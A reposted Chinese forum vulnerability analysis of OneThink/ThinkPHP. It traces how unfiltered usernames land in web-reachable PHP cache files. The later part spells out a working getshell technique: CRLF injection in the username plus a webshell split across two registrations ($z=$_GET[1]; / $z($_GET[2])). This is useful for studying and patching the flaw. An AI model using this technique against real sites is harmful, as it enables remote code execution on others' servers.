【旧论坛文章】onethink最新通杀getshell定位分析

旧论坛文章转载
文章原地址:https://forum.90sec.org/forum.php?mod=viewthread&tid=9308

参考:http://www.wooyun.org/bugs/wooyun-2010-0185742
1、为何分析这个漏洞?
由于onethink我也是经常使用,源码也是经常修改,自己也发现一些小漏洞比如后台插件地方可以写入shell.
关于getshell倒是没有发现,除了thinkphp爆出其他几个安全漏洞会影响到OT,其他倒也是比较安全。/2怎么分析?
2、从哪里入手?
先看看厂商的回复
厂商回复:
感谢反馈,这个漏洞的根源在于可以访问到缓存文件,先不说部署的问题,其实ThinkPHP 内置了解决此问题的方案 只是大家都不用而已。设置DATA_CACHE_KEY参数为一个随机字符串即可,github上的onethink版本我做了一些调整。
3、猜测
我们可以发现这个漏洞出现在缓存文件部分可以被访问,也就是说是通过写入缓存文件?来shell?
4、源码分析和测试
下载OT源码解压安装,可以发现onethink的缓存或下载OT源码解压安装,可以发现onethink的缓存或者说TP的缓存默认是以文件形式缓存到Runtime目录下,并且是可以直接通过web方式进行访问的。

那么就是说我们要有权限修改这些缓存文件。

  • ├─Runtime 运行时目录* │ ├─Cache 模版缓存目录* │ ├─Data 数据目录* │ ├─Logs 日志目录* │ └─Temp 缓存目录

回到网站安装页面,可以看到我们可以操作的也就是可控的只有用户注册,用户登录。
先注册一个账号登陆上去看看都能操作什么。
2

登陆之后只能修改密码,好吧我们回过头来看继续看缓存。

缓存目录多了一个文件865e8245bc0c525aa4a48bfb433d7c3e.php。
分别打开缓存文件看看里面都是什么。
cbc58bd3cdec352c980d0ad729b5c219.php
<?php
//000000000000a:1:{i:2;a:28:{s:2:"id";s:1:"2";s:4:"name";s:12:"default_blog";s:5:"title";s:12:"默认分类";s:3:"pid";s:1:"1";s:4:"sort";s:1:"1";s:8:"list_row";s:2:"10";s:10:"meta_title";s:0:"";s:8:"keywords";s:0:"";s:11:"description";s:0:"";s:14:"template_index";s:0:"";s:14:"template_lists";s:0:"";s:15:"template_detail";s:0:"";s:13:"template_edit";s:0:"";s:5:"model";s:3:"2,3";s:9:"model_sub";s:1:"2";s:4:"type";s:5:"2,1,3";s:7:"link_id";s:1:"0";s:13:"allow_publish";s:1:"1";s:7:"display";s:1:"1";s:5:"reply";s:1:"0";s:5:"check";s:1:"1";s:11:"reply_model";s:1:"1";s:6:"extend";s:0:"";s:11:"create_time";s:10:"1379475028";s:11:"update_time";s:10:"1386839751";s:6:"status";s:1:"1";s:4:"icon";s:1:"0";s:6:"groups";s:0:"";}}
?>
2bb202459c30a1628513f40ab22fa01a.php
<?php
//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:6:"你好";}
?>
4e819c837d54a6ed09abc77a8560a66f.php
<?php
//000000000000a:13:{s:8:"app_init";a:2:{i:0;s:26:"Behavior\BuildLiteBehavior";i:1;s:32:"Common\Behavior\InitHookBehavior";}s:9:"app_begin";a:1:{i:0;s:30:"Behavior\ReadHtmlCacheBehavior";}s:7:"app_end";a:1:{i:0;s:30:"Behavior\ShowPageTraceBehavior";}s:10:"view_parse";a:1:{i:0;s:30:"Behavior\ParseTemplateBehavior";}s:15:"template_filter";a:1:{i:0;s:31:"Behavior\ContentReplaceBehavior";}s:11:"view_filter";a:1:{i:0;s:31:"Behavior\WriteHtmlCacheBehavior";}s:16:"documentEditForm";a:1:{i:0;s:33:"Addons\Attachment\AttachmentAddon";}s:19:"documentDetailAfter";a:2:{i:0;s:33:"Addons\Attachment\AttachmentAddon";i:1;s:39:"Addons\SocialComment\SocialCommentAddon";}s:20:"documentSaveComplete";a:1:{i:0;s:33:"Addons\Attachment\AttachmentAddon";}s:23:"documentEditFormContent";a:1:{i:0;s:25:"Addons\Editor\EditorAddon";}s:16:"adminArticleEdit";a:1:{i:0;s:41:"Addons\EditorForAdmin\EditorForAdminAddon";}s:10:"AdminIndex";a:3:{i:0;s:29:"Addons\SiteStat\SiteStatAddon";i:1;s:33:"Addons\SystemInfo\SystemInfoAddon";i:2;s:27:"Addons\DevTeam\DevTeamAddon";}s:12:"topicComment";a:1:{i:0;s:25:"Addons\Editor\EditorAddon";}}
?>
865e8245bc0c525aa4a48bfb433d7c3e.php
<?php
//000000000000a:1:{s:2:"u2";s:6:"你好";}
?>

我们可以看到2bb202459c30a1628513f40ab22fa01a.php与865e8245bc0c525aa4a48bfb433d7c3e.php中缓存了我们的用户名之外,其它并没有任何可控位置。cbc58bd3cdec352c980d0ad729b5c219.php缓存了栏目分类,但是前台用户并不能创建栏目。
那么如果我们看看用户名的过滤规则。
Application\Home\Controller\UserController.class.php
/* 注册页面 /
public function register($username = '', $password = '', $repassword = '', $email = '', $verify = ''){
if(!C('USER_ALLOW_REGISTER')){
$this->error('注册已关闭');
}
if(IS_POST){ //注册用户
/
检测验证码 */
if(!check_verify($verify)){
$this->error('验证码输入错误!');
}

/* 检测密码 */
if($password != $repassword){
$this->error('密码和重复密码不一致!');
}

/* 调用注册接口注册用户 */
$User = new UserApi;
$uid = $User->register($username, $password, $email);
if(0 < $uid){ //注册成功
//TODO: 发送验证邮件
$this->success('注册成功!',U('login'));
} else { //注册失败,显示错误信息
$this->error($this->showRegError($uid));
}

} else { //显示注册表单
$this->display();
}
}
追踪到Application\User\Api\UserApi.class.php
protected function _init(){
$this->model = new UcenterMemberModel();
}
public function register($username, $password, $email, $mobile = ''){
return $this->model->register($username, $password, $email, mobile); } 继续看\Application\User\Model\UcenterMemberModel.class.php对于用户名的验证 /* 用户模型自动验证 */ protected _validate = array(
/* 验证用户名 */
array('username', '1,30', -1, self::EXISTS_VALIDATE, 'length'), //用户名长度不合法
array('username', 'checkDenyMember', -2, self::EXISTS_VALIDATE, 'callback'), //用户名禁止注册
array('username', '', -3, self::EXISTS_VALIDATE, 'unique'), //用户名被占用
可以看到1和3可以忽略不影响,看看2自定义函数checkDenyMember
protected function checkDenyMember($username){
return true; //TODO: 暂不限制,下一个版本完善
}
也就是说整个过程中用户名没有任何判断,中文、特殊字符都可以插入。那么就好办了,如果我们在用户名中插入一句话?会怎么样?
接下来看看数据结构

username char 长度16,一句话木马呢? eval($_GET[c]); 这个长度不够啊。而且缓存内容是被//000000000注释掉的。这可怎么办?
现在需要解决一句话木马字符太长和一句话会被注释掉的问题。
如何攻克被注释的问题?
由于上面username没有过滤\r\n,那么如果我们提交注册的用户插入一个换行符呢?这样是不是就能把注释避开?测试一下看看。



可以发现%0d%0a 回车换行url编码 成功让PHP缓存文件换行。
如何解决一句话字符数太长?
这个相对比较简单 eval($_GET[c]);分成两段 z=_GET[1]; z(_GET[2]); ,然后注册两个带换行符的用户并登陆。
由于$a123";}后面有";},为了使文件不报错那么我们应该注册$z=$_GET[1];\ 和 z(_GET[2]); 两个用户 ,php结尾;可以忽略那么就是$z=$_GET[1];\和$z($_GET[2])
5、成功


至此此次分析到此为止
=================================